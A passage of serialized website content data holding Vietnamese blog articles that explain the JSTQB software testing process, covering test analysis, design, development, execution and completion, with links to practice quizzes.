thực hiện kiểm thử. Các điều kiện kiểm thử được xác định bằng cách phân tích mối tương quan và sự phụ thuộc, điểm tương đồng, và cấu trúc phần mềm, v.v. giữa các thông số kỹ thuật đối với chức năng và phi chức năng của từng hạng mục kiểm thử.",[11,3921,3922],{},"Sau khi xác định được các điều kiện kiểm thử, cần sắp xếp thứ tự ưu tiên cho chúng để phù hợp với mục tiêu và cách tiếp cận kiểm thử. Việc sắp xếp thứ tự ưu tiên cũng nên xem xét các điều kiện kiểm thử liên quan đến rủi ro sản phẩm (Product Risk).",[11,3924,3925,56,3928,56,3931,64],{},[20,3926,3927],{},"Thiết lập khả năng truy",[20,3929,3930],{},"vết",[20,3932,3933],{},"hai chiều giữa các yếu tố trong test basis và điều kiện kiểm thử liên quan",[11,3935,3936],{},"Việc thiết lập khả năng truy vết hai chiều giữa các yếu tố trong test basis và điều kiện kiểm thử liên quan nhằm đảm bảo rằng mọi điều kiện kiểm thử được xác định từ test basis đều được phân tích và triển khai một cách đầy đủ. Điều này giúp đảm bảo rằng quá trình kiểm thử sẽ bao phủ toàn bộ các yêu cầu và chức năng của phần mềm.",[11,3938,3939],{},"Thực hiện loạt hoạt động này ở giai đoạn phân tích kiểm thử sẽ giúp phát hiện lỗi trong test basis trước khi tiến hành thiết kế kiểm thử. Bằng cách thu thập và phân tích test basis từ nhiều phương diện khác nhau, ta có thể thu được nhiều góc nhìn liên quan đến việc phát triển sản phẩm. Từ các lập trường của khách hàng, người dùng cuối, quản lý dự án, quản lý sản phẩm, kỹ sư, và lập trình viên, yêu cầu đối với sản phẩm và chất lượng của sản phẩm có thể khác nhau hoặc thậm chí mâu thuẫn với nhau. Hoạt động phân tích kiểm thử này cũng hữu ích trong việc xác nhận xem yêu cầu của các bên liên quan có được phản ánh đúng trong test basis hay không.",[11,3941,3942,64],{},[20,3943,3944],{},"※Câu hỏi luyện tập:",[11,3946,3947],{},[58,3948,3949],{"href":3949,"rel":3950},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-2-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":3952},[],"2024-11-05",{},"\u002Fvi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1",{"title":3803,"description":3808},"vi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F06171307\u002FScreenshot-2024-11-06-171247.png","B4-LDiCt7nRdV-yqJB-_npH5oTw6N0m9Hp9S-vVuSoI",{"id":3961,"title":3962,"body":3963,"category":356,"created by":70,"date":4132,"description":4133,"extension":72,"meta":4134,"navigation":74,"path":4135,"sections":76,"seo":4136,"stem":4137,"thumbnail":4138,"__hash__":4139},"content_vi\u002Fvi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2.md","Các hoạt động chính trong quy trình kiểm thử phần mềm - Phần 2",{"type":8,"value":3964,"toc":4130},[3965,3973,3980,3983,3988,3991,3994,3999,4002,4005,4008,4013,4016,4021,4024,4038,4043,4046,4049,4052,4057,4060,4063,4066,4071,4074,4077,4082,4085,4090,4093,4098,4101,4106,4109,4114,4117,4120,4124],[11,3966,3967,3968,3972],{},"Ở bài viết ",[58,3969,3970],{"href":3955},[1277,3971,3803],{},", chúng ta đã tìm hiểu về 3 hoạt động đầu tiên trong Quy trình kiểm thử phần mềm là: Lập kế hoạch kiểm thử, Giám sát và kiểm soát kiểm thử, phân tích kiểm thử. Ở bài viết này, chúng ta sẽ cùng nhau tìm hiểu chi tiết về 2 hoạt động tiếp theo, đó là: ",[31,3974,3975,3978],{},[34,3976,3977],{},"Thiết kế kiểm thử ",[34,3979,3828],{},[11,3981,3982],{},"Sau khi xác định được đối tượng test ở bước Phân tích kiểm thử thì chúng ta sẽ phải xác định xem phải test đối tượng đó như thế nào. Hoạt động đó được gọi là Thiết kế kiểm thử. ",[11,3984,3985],{},[20,3986,3987],{},"4\u002F Thiết kế kiểm thử",[11,3989,3990],{},"Dựa trên các điều kiện kiểm thử đã được làm rõ trong hoạt động Phân tích kiểm thử, chúng ta sẽ thiết kế các trường hợp kiểm thử cấp cao (high level test case) và tài nguyên kiểm thử (data test, tài liệu thiết kế môi trường kiểm thử). Hoạt động này được gọi là Thiết kế kiểm thử.",[11,3992,3993],{},"Trong hoạt động Thiết kế kiểm thử, sẽ có bốn hoạt động chính như sau:",[11,3995,3996,64],{},[20,3997,3998],{},"Thiết kế test case, bộ test case và phân chia độ ưu tiên",[11,4000,4001],{},"Sau khi Phân tích test basis hoàn thành, chúng ta sẽ bắt đầu thiết kế kiểm thử dựa trên kế hoạch kiểm thử, thực hiện chuyển đổi các điều kiện kiểm thử thành các trường hợp kiểm thử cấp cao (high level test case), phân chia theo các hạng mục lớn và hạng mục vừa. High level test case là những trường hợp kiểm thử không chứa các giá trị dữ liệu đầu vào và kết quả mong đợi cụ thể.",[11,4003,4004],{},"Điều này có nghĩa là chúng ta sẽ không đi vào chi tiết như thứ tự kiểm thử hay kết quả mong đợi, mà sẽ thiết kế sao cho đảm bảo bao phủ các điều kiện kiểm thử. Để đạt được độ bao phủ này, cần thỏa mãn hai yếu tố: độ bao phủ đối với yêu cầu và đặc tả (spec), cũng như độ bao phủ đối với cấu trúc của phần mềm.",[11,4006,4007],{},"Khi thiết kế kiểm thử, đồng thời cần phân chia độ ưu tiên cho từng test case dựa trên phương pháp kiểm thử đã xác định.",[11,4009,4010],{},[20,4011,4012],{},"Xác định các điều kiện kiểm thử và dữ liệu kiểm thử cần thiết để hỗ trợ cho các trường hợp kiểm thử",[11,4014,4015],{},"Cần xem xét dữ liệu kiểm thử (data test) khi kiểm thử từng hạng mục (test UT) và khi kiểm thử liên kết các hạng mục với nhau (test IT) để xác định xem chúng có khác nhau hay không. Đồng thời, xác định dữ liệu kiểm thử phù hợp cho từng cấp độ kiểm thử.",[11,4017,4018],{},[20,4019,4020],{},"Thiết kế môi trường thử nghiệm và xác định cơ sở hạ tầng cũng như công cụ cần thiết",[11,4022,4023],{},"Xác định môi trường kiểm thử cần thiết từ hai phương diện: vật lý và logic.",[31,4025,4026,4032],{},[34,4027,4028,4031],{},[20,4029,4030],{},"Về phương diện vật lý",", cần xem xét xem có cần tách biệt môi trường kiểm thử (test) và môi trường phát triển (dev) hay không. Cần cân nhắc các yếu tố như middleware, hệ điều hành, phiên bản, loại ứng dụng bundle, ứng dụng liên kết qua internet và cách kết hợp chúng.",[34,4033,4034,4037],{},[20,4035,4036],{},"Về phương diện logic",", cần xem xét cách thiết lập bảng có khả năng thay đổi và giá trị mặc định (default) của các biến số có thể thay đổi trong firmware và middleware khi thực hiện kiểm thử.",[11,4039,4040],{},[20,4041,4042],{},"Thiết lập khả năng truy vết hai chiều giữa các cơ sở kiểm thử (test basis), điều kiện kiểm thử và trường hợp kiểm thử (test case)",[11,4044,4045],{},"Nếu không đảm bảo được khả năng truy vết hai chiều giữa các sản phẩm trong quá trình phát triển, thì sẽ không thể đảm bảo tính nhất quán trong việc phát triển sản phẩm.",[11,4047,4048],{},"Ví dụ: Có một tài liệu đặc tả yêu cầu. Nếu khả năng truy vết nguồn gốc được đảm bảo, khi mô tả yêu cầu thay đổi, ta sẽ dễ dàng xác định được các trường hợp kiểm thử tương ứng và thực hiện các điều chỉnh cần thiết để đảm bảo tính nhất quán.",[11,4050,4051],{},"Ngược lại, nếu việc quản lý truy vết không chặt chẽ, thường sẽ xảy ra sự mất nhịp giữa các thay đổi trong test case và yêu cầu, dẫn đến thiếu sót và sai lệch nghiêm trọng.",[11,4053,4054],{},[20,4055,4056],{},"5\u002F Phát triển kiểm thử",[11,4058,4059],{},"Ở bước Phát triển kiểm thử, chúng ta sẽ tạo ra các trường hợp kiểm thử và thứ tự kiểm thử chi tiết từ các high level test case đã được xây dựng ở bước Thiết kế kiểm thử. Tại bước này, chúng ta cũng sẽ tiến hành xây dựng môi trường kiểm thử.",[11,4061,4062],{},"Ngoài ra, cũng cần xác định các kỹ năng cần thiết mà người thực hiện kiểm thử cần phải có. Đồng thời, các test case và thứ tự kiểm thử cũng cần được ghi chép sao cho phù hợp với trình độ của người thực hiện.",[11,4064,4065],{},"Các hoạt động chính trong quá trình Phát triển kiểm thử bao gồm 6 hoạt động như sau:",[11,4067,4068],{},[20,4069,4070],{},"Xây dựng quy trình kiểm thử và phân chia mức độ ưu tiên. Tạo kịch bản kiểm thử tự động tùy theo từng trường hợp",[11,4072,4073],{},"Chúng ta sẽ thực hiện việc tạo test case và thứ tự kiểm thử dựa trên thiết kế kiểm thử. Thứ tự ưu tiên thực hiện kiểm thử sẽ được xác định dựa trên kế hoạch kiểm thử và thiết kế kiểm thử. Tuy nhiên, thứ tự ưu tiên này có thể thay đổi khi thực hiện kiểm thử thực tế so với thứ tự ưu tiên ban đầu.",[11,4075,4076],{},"Kiểm thử tự động có hai loại: tự động hóa kiểm thử thủ công và sử dụng công cụ phân tích đối tượng kiểm thử để tự động tạo test case và thứ tự kiểm thử. Kịch bản kiểm thử (script test) phải được chuẩn bị phù hợp cho mỗi loại này.",[11,4078,4079],{},[20,4080,4081],{},"Tạo bộ kiểm thử (test suite) từ quy trình kiểm thử và kịch bản kiểm thử (nếu có)",[11,4083,4084],{},"Thường thì, việc tạo quy trình kiểm thử, dữ liệu kiểm thử (data test) và chuẩn bị khai thác kiểm thử (test harness) sẽ diễn ra đồng thời, tuy nhiên, điều này chỉ xảy ra khi đã có đặc tả (spec) cho test harness. Trong trường hợp sử dụng test harness để tạo dữ liệu, chúng ta sẽ phải đợi cho đến khi test harness được chuẩn bị xong và sau đó mới chuẩn bị dữ liệu kiểm thử. Khi đó, chúng ta sẽ tạo kịch bản kiểm thử. Cuối cùng, tất cả các thành phẩm này sẽ được tập hợp lại để tạo thành bộ kiểm thử (test suite).",[11,4086,4087],{},[20,4088,4089],{},"Điều chỉnh các bộ kiểm thử (test suite) trong lịch trình thực hiện kiểm thử để tối ưu hóa hiệu quả kiểm thử",[11,4091,4092],{},"Test suite là sự kết hợp của các test case sau khi xem xét hiệu quả của quy trình kiểm thử, chuẩn bị test harness và dọn dẹp sau khi kiểm thử. Việc tạo test suite không chỉ dựa trên lịch trình mà còn phải căn cứ vào mục đích kiểm thử. Nếu mục đích kiểm thử là xác nhận chức năng thì các trường hợp kiểm thử liên quan đến cùng một tính năng sẽ được gom lại thành một test suite.",[11,4094,4095],{},[20,4096,4097],{},"Xây dựng môi trường kiểm thử. Đảm bảo mọi thứ cần thiết đã được thiết lập chính xác",[11,4099,4100],{},"Trước khi tiến hành kiểm thử, cần thiết lập môi trường kiểm thử, bao gồm cả việc chuẩn bị cơ sở hạ tầng như test tool, test harness, môi trường giả lập, và kết nối với hệ thống bên ngoài qua mạng nếu cần. Phạm vi hệ thống của đối tượng kiểm thử sẽ được xác định theo kế hoạch test. Về mặt quản lý công việc, cần phân rõ các nhiệm vụ liên quan đến việc thiết lập môi trường kiểm thử tổng thể và các nhiệm vụ chuẩn bị để thực hiện kiểm thử hàng ngày.",[11,4102,4103],{},[20,4104,4105],{},"Đảm bảo rằng dữ liệu kiểm thử được chuẩn bị và được đọc đúng cách vào môi trường kiểm thử",[11,4107,4108],{},"Nếu đối tượng kiểm thử là phát triển phái sinh (ví dụ: nâng cấp phiên bản, thay đổi thông số yêu cầu), có thể sử dụng dữ liệu thực tế từ hệ thống hiện có. Tuy nhiên, cần xem xét kỹ lưỡng việc sử dụng dữ liệu này, đặc biệt nếu nó chứa thông tin nhạy cảm như thông tin cá nhân hoặc bí mật.",[11,4110,4111],{},[20,4112,4113],{},"Kiểm thử và cập nhật khả năng truy vết hai chiều giữa test basis, điều kiện kiểm thử, trường hợp kiểm thử (test case), quy trình kiểm thử và bộ kiểm thử (test suite)",[11,4115,4116],{},"Kiểm thử và cập nhật khả năng truy vết hai chiều giữa test basis (cơ sở kiểm thử), điều kiện kiểm thử, trường hợp kiểm thử (test case), quy trình kiểm thử, và bộ kiểm thử (test suite) là quá trình đảm bảo rằng mọi yêu cầu và điều kiện kiểm thử đều được liên kết và theo dõi một cách nhất quán. Quá trình này giúp bảo đảm bao phủ tất cả các yêu cầu mà không bị bỏ sót, phát hiện lỗi và vấn đề trong giai đoạn phát triển, từ đó giảm thiểu rủi ro. Ngoài ra, việc duy trì khả năng truy vết hai chiều cũng góp phần tối ưu hóa quy trình kiểm thử bằng cách xác định rõ ràng các điều kiện và test case liên quan, nâng cao chất lượng phần mềm và hiệu quả trong quá trình kiểm thử.",[11,4118,4119],{},"Hôm nay, chúng ta đã tìm hiểu thêm về hai hoạt động trong Quy trình kiểm thử phần mềm. Hãy cùng xác nhận lại kiến thức của bạn về hai hoạt động này bằng cách làm bài trắc nghiệm nhỏ sau đây nhé!",[11,4121,4122,64],{},[20,4123,3944],{},[11,4125,4126],{},[58,4127,4128],{"href":4128,"rel":4129},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-2-2-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":4131},[],"2024-11-13","Ở bài viết Các hoạt động chính trong quy trình kiểm thử phần mềm - Phần 1, chúng ta đã tìm hiểu về 3 hoạt động đầu tiên trong Quy trình kiểm thử phần mềm là Lập kế hoạch kiểm thử, Giám sát và kiểm soát kiểm thử, phân tích kiểm thử. Ở bài viết này, chúng ta sẽ cùng nhau tìm hiểu chi tiết về 2 hoạt động tiếp theo, đó là Thiết kế kiểm thử & Phát triển kiểm thử. Sau khi xác định được đối tượng test ở bước Phân tích kiểm thử thì chúng ta sẽ phải xác định xem phải test đối tượng đó như thế nào. Hoạt động đó được gọi là Thiết kế kiểm thử.",{},"\u002Fvi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2",{"title":3962,"description":4133},"vi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F12144300\u002FScreenshot-2024-11-12-144235.png","M-6j9AIL-C_a1MjsXSwUEu-AtfGVXjwvkhUHBoxsufE",{"id":4141,"title":4142,"body":4143,"category":356,"created by":70,"date":4309,"description":4310,"extension":72,"meta":4311,"navigation":74,"path":4312,"sections":76,"seo":4313,"stem":4314,"thumbnail":4315,"__hash__":4316},"content_vi\u002Fvi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3.md","Các hoạt động chính trong quy trình kiểm thử phần mềm - Phần 3",{"type":8,"value":4144,"toc":4307},[4145,4153,4160,4165,4168,4173,4176,4181,4184,4189,4192,4197,4200,4205,4208,4213,4216,4219,4224,4227,4232,4235,4240,4243,4246,4249,4252,4257,4260,4265,4268,4271,4276,4279,4284,4287,4292,4295,4298,4301],[11,4146,4147,4148,4152],{},"Bài viết ",[58,4149,4150],{"href":4135},[20,4151,3962],{}," đã giới thiệu hai hoạt động trong quy trình kiểm thử là \"Thiết kế kiểm thử\" và \"Phát triển kiểm thử\". Trong bài viết này, chúng ta sẽ cùng nhau tìm hiểu về hai hoạt động cuối cùng:",[31,4154,4155,4158],{},[34,4156,4157],{},"Tiến hành kiểm thử",[34,4159,3834],{},[11,4161,4162],{},[20,4163,4164],{},"6\u002F Tiến hành kiểm thử",[11,4166,4167],{},"Hoạt động tiến hành kiểm thử bao gồm các hoạt động chính sau",[11,4169,4170],{},[20,4171,4172],{},"Ghi lại ID và phiên bản của hạng mục kiểm thử, đối tượng kiểm thử, công cụ kiểm thử và phần mềm kiểm thử",[11,4174,4175],{},"Khi bắt đầu tiến hành kiểm thử, cần ghi lại các thông tin cần thiết cho các trường hợp kiểm thử. Phần mềm được kiểm thử thường được xác định rõ ràng, tuy nhiên cũng cần kiểm tra phiên bản của phần mềm ngay trước khi thực hiện kiểm thử. Ngoài ra, nếu sử dụng dữ liệu kiểm thử hoặc công cụ kiểm thử thì cũng cần ghi lại phiên bản của chúng cũng như thông tin các script dưới dạng ID của phần mềm kiểm thử. Bên cạnh đó, kết quả kiểm thử thì được ghi lại dựa theo các trường hợp kiểm thử và các quy trình đã thống nhất trước đó. Với các môi trường phát triển dạo gần đây, nhiều hệ thống có thể tự động lưu lại các bản ghi này.",[11,4177,4178],{},[20,4179,4180],{},"Tiến hành kiểm thử bằng cách thủ công hoặc sử dụng công cụ tiến hành kiểm thử",[11,4182,4183],{},"Quá trình kiểm thử được thực hiện theo quy trình kiểm thử bởi con người hoặc bằng công cụ kiểm thử. Chúng ta có thể tiến hành bằng cách thao tác trực tiếp lên đối tượng kiểm thử, hoặc cũng có thể thao tác từ xa thông qua các phương pháp truy cập từ xa. Theo đó, nhiều phương pháp kiểm thử khác nhau có thể được sử dụng, bao gồm cả kiểm thử trong môi trường phát triển tích hợp (IDE).",[11,4185,4186],{},[20,4187,4188],{},"So sánh kết quả kiểm thử với kết quả mong đợi",[11,4190,4191],{},"So sánh kết quả kiểm thử với các tiêu chí đánh giá và tiêu chuẩn đã định trong tài liệu kiểm thử. Nếu kết quả so sánh khớp nhau, hoặc nếu mục đích ban đầu đơn giản chỉ để đo lường thì kiểm thử sẽ được ghi nhận là thành công hoặc hoàn tất, và sau đó tiếp tục thực hiện các trường hợp kiểm thử tiếp theo.",[11,4193,4194],{},[20,4195,4196],{},"Phân tích lỗi và xác định nguyên nhân tiềm ẩn",[11,4198,4199],{},"So sánh các trường hợp kiểm thử với các nội dung căn bản trong thiết kế kiểm thử để phân tích các cử động chưa phù hợp. Để xác định được nguyên nhân, cần xác định các ngữ cảnh và các trường hợp kiểm thử đã khiến phát sinh lỗi, chẳng hạn như lỗi phát sinh do chưa tiến hành kiểm thử đối tượng kiểm thử theo thứ tự phù hợp hay do thay đổi data kiểm thử. ",[11,4201,4202],{},[20,4203,4204],{},"Theo dõi quá trình xảy ra lỗi và báo cáo nội dung lỗi dựa vào kết quả quan sát",[11,4206,4207],{},"Nếu kết quả kiểm thử khác với kết quả mong đợi và được xác định là lỗi, lúc này cần báo cáo nội dung lỗi. Trong quá trình tổng hợp báo cáo, không chỉ chú trọng về hiện tượng trực tiếp quan sát được từ lỗi mà còn cân nhắc khả năng lỗi tương tự có thể xảy ra do các yếu tố khác hoặc liệu các trường hợp kiểm thử khác có bị ảnh hưởng hay không. ",[11,4209,4210],{},[20,4211,4212],{},"Ghi lại kết quả tiến hành kiểm thử",[11,4214,4215],{},"Đối chiếu kết quả của từng trường hợp kiểm thử với kết quả mong đợi và xác định xem có đạt hay không. Nếu không đạt thì tạo báo cáo về nội dung lỗi và ghi lại các trường hợp kiểm thử dự kiến không đạt (block case) dù cho có thực hiện lại quy trình tương tự. Các trường hợp kiểm thử bị block (block case) là các trường hợp không thể tiến hành kiểm thử bởi các yếu tố bên ngoài hoặc do môi trường kiểm thử chưa hoàn thiện (chẳng hạn như đang chờ mua giấy phép phần mềm hoặc đang chờ đến lượt sử dụng thiết bị kiểm thử). ",[11,4217,4218],{},"Kết quả kiểm thử cần được ghi lại chi tiết, bao gồm cả môi trường kiểm thử, cấu hình phần mềm và công cụ kiểm thử.",[11,4220,4221],{},[20,4222,4223],{},"Lặp lại hoạt động kiểm thử để kiểm tra kết quả đối ứng lỗi hoặc lặp lại nếu đây là một phần trong kế hoạch kiểm thử đã đề ra",[11,4225,4226],{},"Sau khi lỗi đã được báo cáo và được sửa chữa, lúc này sẽ tiến hành Kiểm thử xác nhận. Kiểm thử xác nhận có thể thực hiện ngay sau khi đối tượng được triển khai phần sửa chữa lên môi trường kiểm thử, hoặc có thể được gom lại để tiến hành trong khoảng thời gian đã lên kế hoạch theo lịch trình kiểm thử ban đầu. Ngoài ra, bên cạnh Kiểm thử xác nhận, Kiểm thử hồi quy cũng được lên kế hoạch để kiểm tra xem các chức năng cũ có bị ảnh hưởng hay không. ",[11,4228,4229],{},[20,4230,4231],{},"Kiểm tra và cập nhật khả năng truy vết hai chiều giữa cơ sở kiểm thử, điều kiện kiểm thử, trường hợp kiểm thử, quy trình kiểm thử, và bộ kiểm thử (test suite)",[11,4233,4234],{},"Đây là quá trình kiểm tra xem kiểm thử đã được thực hiện đúng theo yêu cầu và đảm bảo rằng tất cả các yếu tố liên quan đều đang được liên kết với nhau một cách chính xác. Điều này giúp đảm bảo rằng nếu có bất kỳ thay đổi hoặc sửa đổi nào trong quá trình kiểm thử đều sẽ được phản ánh ở mọi yếu tố liên quan, nhằm duy trì tính nhất quán.",[11,4236,4237],{},[20,4238,4239],{},"7\u002F Hoàn thành kiểm thử",[11,4241,4242],{},"Trong giai đoạn hoàn thành kiểm thử, các thành phẩm như kịch bản kiểm thử và báo cáo lỗi được tổng hợp để đánh giá xem đã đạt được mục tiêu của kế hoạch kiểm thử hay chưa. Lúc này sẽ phân tích mức độ bao phủ mã nguồn (code coverage), mức độ hoàn thiện của các yêu cầu phi chức năng và mức độ bao quát cấu hình hệ thống, sau đó là phân tích kết quả dựa trên các tiêu chuẩn kết thúc kiểm thử. Ngoài ra, sử dụng các biểu đồ quản lý lỗi và các chỉ số (metrics) làm cơ sở để kiểm tra tình trạng cải thiện của lỗi và tiến độ của quá trình kiểm thử.",[11,4244,4245],{},"Ngoài ra, các tiêu chuẩn kết thúc kiểm thử đặt ra ở giai đoạn lên kế hoạch thật ra cũng chỉ được quyết định dựa trên các yêu cầu và giả định chất lượng trước khi bắt đầu kiểm thử, nhưng sau đó có thể được xem xét lại do các thay đổi về yêu cầu hoặc nhu cầu của khách hàng trong quá trình kiểm thử. Do đó, thời điểm hoàn thành kiểm thử có thể khác nhau tùy vào trạng thái của dự án. Nó có thể tiến hành khi có sự chuyển đổi giữa các cấp độ kiểm thử, khi hoàn thành toàn bộ kiểm thử, hoặc trong trường hợp các dự án Agile nơi kiểm thử có thể được thực hiện theo từng giai đoạn (iteration). Trong một số trường hợp, kiểm thử cũng có thể bị ngưng giữa chừng. ",[11,4247,4248],{},"Bài viết này đã trình bày về hai hoạt động trong quy trình kiểm thử phần mềm. Hãy thử thực hiện bài kiểm tra nhỏ ở liên kết dưới đây để kiểm tra kiến thức của bạn về các hoạt động này!",[11,4250,4251],{},"Dưới đây là các hoạt động chính trong giai đoạn này.",[11,4253,4254],{},[20,4255,4256],{},"Xác nhận rằng tất cả các báo cáo lỗi đã đóng. Nếu có lỗi chưa được giải quyết vào thời điểm kết thúc kiểm thử, yêu cầu thay đổi hoặc các mục backlog của sản phẩm sẽ được tạo ra",[11,4258,4259],{},"Kiểm tra xem có các báo cáo lỗi chưa được giải quyết nào từ các cấp độ kiểm thử trước hoặc hiện tại hay không. Nếu toàn bộ vấn đề đã được giải quyết, báo cáo lỗi xem như là đã hoàn tất và sẽ được đóng lại. Nếu quyết định sửa chữa vấn đề ở cấp độ kiểm thử tiếp theo, báo cáo lỗi sẽ được chuyển tiếp đến cấp độ đó. Trường hợp lỗi chưa được xử lý, lúc này lỗi sẽ được lưu lại thành một mục backlog của sản phẩm để đảm bảo sau này không đối ứng sót.",[11,4261,4262],{},[20,4263,4264],{},"Tạo báo cáo tổng kết kiểm thử và gửi cho các bên liên quan",[11,4266,4267],{},"Ở hoạt động này sẽ tạo tài liệu báo cáo so sánh và phân tích kết quả kiểm thử với các tiêu chí kết thúc để xác định xem cấp độ kiểm thử có thể kết thúc hay chưa, sau đó gửi báo cáo này đến các bên liên quan. Báo cáo này tổng hợp tỷ lệ đạt của các trường hợp kiểm thử, số lượng báo cáo lỗi và tình trạng xử lý, và được gửi đến tất cả các bên liên quan đến quá trình kiểm thử.",[11,4269,4270],{},"Các bên liên quan là những người chịu ảnh hưởng trực tiếp hoặc gián tiếp khi quá trình kiểm thử kết thúc, tùy thuộc vào cấp độ kiểm thử và đối tượng kiểm thử. Cuối cùng, sau khi phân tích kết quả kiểm thử và so sánh với các tiêu chí kết thúc, nếu đạt được sự đồng thuận từ các bên liên quan về việc kết thúc hoặc dừng kiểm thử, thì cấp độ kiểm thử sẽ được tuyên bố hoàn tất. Tuy nhiên, trong thực tế, việc kết thúc kiểm thử có thể do người chịu trách nhiệm phát triển chỉ đạo, và khi đó, người liên quan chính là người quản lý phát triển. Nếu cần lưu giữ bằng chứng về việc quản lý kiểm thử, thì kết quả giám sát và kiểm soát sẽ được thu thập, phân tích và lập thành văn bản. Đặc biệt, nếu một đội ngũ kiểm thử độc lập chịu trách nhiệm, việc lập văn bản kết quả cũng là một phần quan trọng trong các hoạt động của họ.",[11,4272,4273],{},[20,4274,4275],{},"Sắp xếp và lưu trữ môi trường kiểm thử, dữ liệu kiểm thử, hạ tầng kiểm thử, và các phần mềm kiểm thử khác để sử dụng cho lần sau",[11,4277,4278],{},"Đối với các nội dung kiểm thử có thể tái sử dụng, việc sắp xếp và bảo trì chúng là cần thiết. Điều này bao gồm việc chỉnh sửa trực tiếp các phần mềm kiểm thử, chuẩn bị hướng dẫn hoặc tài liệu đào tạo, điều chỉnh các kịch bản kiểm thử để tương thích với phiên bản mới của công cụ kiểm thử, và các công việc khác để đảm bảo khả năng tái sử dụng. Khi sản phẩm được nâng cấp phiên bản hoặc chuyển sang các thiết bị khác, việc bảo trì các trường hợp kiểm thử, cơ sở kiểm thử, và quy trình kiểm thử là cần thiết để có thể hỗ trợ cho các lần phát hành hoặc chuyển đổi thiết bị tiếp theo.",[11,4280,4281],{},[20,4282,4283],{},"Chuyển giao các phần mềm kiểm thử cho đội bảo trì, các nhóm dự án khác, và\u002Fhoặc các bên liên quan khác có thể hưởng lợi từ việc sử dụng chúng",[11,4285,4286],{},"Khi bộ phận phát triển của dự án và bộ phận bảo trì khác nhau, bộ phần mềm kiểm thử sẽ được chuyển giao cho bộ phận bảo trì. Bộ phận bảo trì sẽ sử dụng phần mềm kiểm thử này để nắm bắt tình hình chất lượng của sản phẩm dựa trên kết quả kiểm thử, cũng như để hỗ trợ khắc phục sự cố khi có lỗi phát sinh sau khi phát hành sản phẩm.",[11,4288,4289],{},[20,4290,4291],{},"Sử dụng thông tin thu thập được để cải thiện mức độ phát triển của quy trình kiểm thử",[11,4293,4294],{},"Để thực hiện nhiệm vụ này, sau khi hoàn thành kiểm thử, một buổi họp để “nhìn lại và đánh giá” (post-mortem) sẽ được tổ chức với tất cả các bên liên quan của cấp độ kiểm thử. Trong cuộc họp này, các vấn đề liên quan đến kiểm soát kiểm thử và kết quả kiểm thử sẽ được thảo luận cởi mở để xác định những điểm tốt và điểm cần cải thiện nhằm cải tiến quy trình và phần mềm kiểm thử.",[11,4296,4297],{},"Nếu không thiết lập hệ thống tiếp nhận các điểm cải thiện thu được từ buổi họp đánh giá để áp dụng cho cấp độ kiểm thử tiếp theo hoặc dự án khác, các đánh giá này sẽ chỉ dừng lại ở cuộc họp mà không mang lại cải tiến. Vì vậy, việc lập biên bản cuộc họp và danh sách các việc cần thực hiện, cũng như sự theo dõi của quản lý, là rất quan trọng.",[11,4299,4300],{},"Hôm nay, chúng ta đã tìm hiểu về hai hoạt động còn lại trong Quy trình kiểm thử phần mềm. Hãy cùng xác nhận lại kiến thức của bạn về hai hoạt động này bằng cách làm bài trắc nghiệm nhỏ sau đây nhé!",[11,4302,4303],{},[58,4304,4305],{"href":4305,"rel":4306},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-2-3-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":4308},[],"2024-11-19","Bài viết Các hoạt động chính trong quy trình kiểm thử phần mềm - Phần 2 đã giới thiệu hai hoạt động trong quy trình kiểm thử là \"Thiết kế kiểm thử\" và \"Phát triển kiểm thử\". Trong bài viết này, chúng ta sẽ cùng nhau tìm hiểu về hai hoạt động cuối cùng Tiến hành kiểm thử & Hoàn thành kiểm thử. Tiến hành kiểm thử. Hoạt động tiến hành kiểm thử bao gồm các hoạt động chính sau. Ghi lại ID và phiên bản của hạng mục kiểm thử, đối tượng kiểm thử, công cụ kiểm thử và phần mềm kiểm thử. Khi bắt đầu tiến hành kiểm thử, cần ghi lại các thông tin cần thiết cho các trường hợp kiểm thử. Phần mềm được kiểm thử thường được xác định rõ ràng, tuy nhiên cũng cần kiểm tra phiên bản của phần mềm ngay trước khi thực hiện kiểm thử. Ngoài ra, nếu sử dụng dữ liệu kiểm thử hoặc công cụ kiểm thử thì cũng cần ghi lại phiên bản của chúng cũng như thông tin các script dưới dạng ID của phần mềm kiểm thử. Bên cạnh đó, kết quả kiểm thử thì được ghi lại dựa theo các trường hợp kiểm thử và các quy trình đã thống nhất trước đó. Với các môi trường phát triển dạo gần đây, nhiều hệ thống có thể tự động lưu lại các bản ghi này.",{},"\u002Fvi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3",{"title":4142,"description":4310},"vi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F18162231\u002FScreenshot-2024-11-18-162139.png","8-6nDOVWplzKtBkSK7aVeVsk0Qcp5EGYhkFEcZUpy5A",{"id":4318,"title":4319,"body":4320,"category":356,"created by":70,"date":4760,"description":4324,"extension":72,"meta":4761,"navigation":74,"path":4762,"sections":76,"seo":4763,"stem":4764,"thumbnail":4765,"__hash__":4766},"content_vi\u002Fvi\u002Fnews\u002Fcac-loai-kiem-thu.md","CÁC LOẠI KIỂM 